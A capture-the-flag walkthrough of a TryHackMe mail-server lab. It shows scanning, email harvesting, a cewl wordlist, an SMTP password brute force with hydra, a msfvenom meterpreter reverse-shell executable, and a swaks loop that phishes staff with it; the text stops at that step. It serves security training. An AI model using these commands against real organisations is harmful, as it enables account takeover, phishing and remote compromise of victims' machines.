THM: You Got Mail

Platform: TryHackMe
Link: You Got Mail
Level: Medium
OS: Windows

This room focuses on a phishing attack. After collecting an email list, we use cewl to create a customized password list. Hydra, successfully recovers the password for one of the email accounts. With swaks, we send a phishing email that results in a reverse shell on the target system. From there, we retrieve the password for a user account as well as the admin password for hMailServer.

Scanning

nmap -T4 -n -sC -sV -Pn -p- {TARGET_IP}

Results

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-10 17:28 CST
Warning: 10.10.16.179 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.16.179
Host is up (0.18s latency).
Not shown: 65504 closed tcp ports (conn-refused)
PORT      STATE    SERVICE       VERSION
25/tcp    open     smtp          hMailServer smtpd
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY

110/tcp   open     pop3          hMailServer pop3d
|_pop3-capabilities: USER UIDL TOP

135/tcp   open     msrpc         Microsoft Windows RPC

139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn

143/tcp   open     imap          hMailServer imapd
|_imap-capabilities: CAPABILITY IDLE QUOTA RIGHTS=texkA0001 CHILDREN NAMESPACE completed IMAP4 ACL IMAP4rev1 OK SORT

445/tcp   open     microsoft-ds?

587/tcp   open     smtp          hMailServer smtpd
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY

3389/tcp  open     ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=BRICK-MAIL
| Not valid before: 2025-02-09T21:23:09
|_Not valid after:  2025-08-11T21:23:09
| rdp-ntlm-info: 
|   Target_Name: BRICK-MAIL
|   NetBIOS_Domain_Name: BRICK-MAIL
|   NetBIOS_Computer_Name: BRICK-MAIL
|   DNS_Domain_Name: BRICK-MAIL
|   DNS_Computer_Name: BRICK-MAIL
|   Product_Version: 10.0.17763
|_  System_Time: 2025-02-10T23:43:35+00:00
|_ssl-date: 2025-02-10T23:43:42+00:00; 0s from scanner time.

4349/tcp  filtered fsportmap
4750/tcp  filtered ssad

5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0

17854/tcp filtered unknown
18527/tcp filtered unknown
22815/tcp filtered unknown
24814/tcp filtered unknown
30513/tcp filtered unknown

47001/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

47010/tcp filtered unknown

49664/tcp open     msrpc         Microsoft Windows RPC
49665/tcp open     msrpc         Microsoft Windows RPC
49666/tcp open     msrpc         Microsoft Windows RPC
49667/tcp open     msrpc         Microsoft Windows RPC
49668/tcp open     msrpc         Microsoft Windows RPC
49669/tcp open     msrpc         Microsoft Windows RPC
49671/tcp open     msrpc         Microsoft Windows RPC
49674/tcp open     msrpc         Microsoft Windows RPC

50388/tcp filtered unknown
51348/tcp filtered unknown
53546/tcp filtered unknown
62352/tcp filtered unknown
64819/tcp filtered unknown
Service Info: Host: BRICK-MAIL; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-02-10T23:43:34
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 947.53 seconds

Nmap finds some default Windows services (SMB and MSRPC), some email services (SMTP and POP3), and a web server (we were given https://brownbrick.co/ as part of our scope).

Enumeration

At https://brownbrick.co/ we find a static website.

target website

Since we were told to only do passive reconnaissance on https://brownbrick.co/ there is no point in trying directory bruteforcing or subdomain enumeration.

On the “Our Team” page at https://brownbrick.co/menu.html we can make a list of emails.

email list

oaurelius@brownbrick.co
tchikondi@brownbrick.co
wrohit@brownbrick.co
pcathrine@brownbrick.co
lhedvig@brownbrick.co
fstamatis@brownbrick.co

We can send some data at https://brownbrick.co/reservation.html? but nothing seems exploitable.

We can also send information at https://brownbrick.co/contact.html but we get told that the email server isn’t responding.

No response from the email server

Let’s create a custom password list with cewl.

cewl --lowercase https://brownbrick.co/ > pwds.txt

custom password list with cewl

Using hydra we run a brute force attack with the generated passwords against the emails.

hydra -L emails.txt -P pwds.txt {TARGET_IP} smtp -s 587

The ports used by SMTP have different purposes. Port 587 is used to send emails from clients to mail servers (SMTP Submission) while port 25 is used for server-to-server email transmission (SMTP relay).

We find a match for lhedvig@brownbrick.co:bricks.

hydra SMTP brute force attack

We can test the connection to a specific mailbox through POP3 using TELNET, but it turns out to be empty.

telnet {TARGET_IP} 110
USER lhedvig@brownbrick.co
PASS bricks

Mailbox access via telnet

User flag

We have a valid email address and some additional ones. Let’s try to send some emails with a malicious attachment.

We create a malicious exe file with msfvenom to use as an attachment.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=443 -f exe > payload.exe

We setup a listener in Metasploit.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST YOUR_IP
set LPORT PORT_NUMBER
run

We can send an email to all the other email addresses using swaks.

for email in oaurelius@brownbrick.co tchikondi@brownbrick.co wrohit@brownbrick.co pcathrine@brownbrick.co fstamatis@brownbrick.co; do
    swaks --to $email --from lhedvig@brownbrick.co \
    --server 10.10.16.179 --port 25 --auth LOGIN \
    --auth-user lhedvig@brownbrick.co --auth-password bricks \
    --header "Subject: Urgent Security Update" \
    --body "Please review the attachment" \
    --attach @payload.exe
done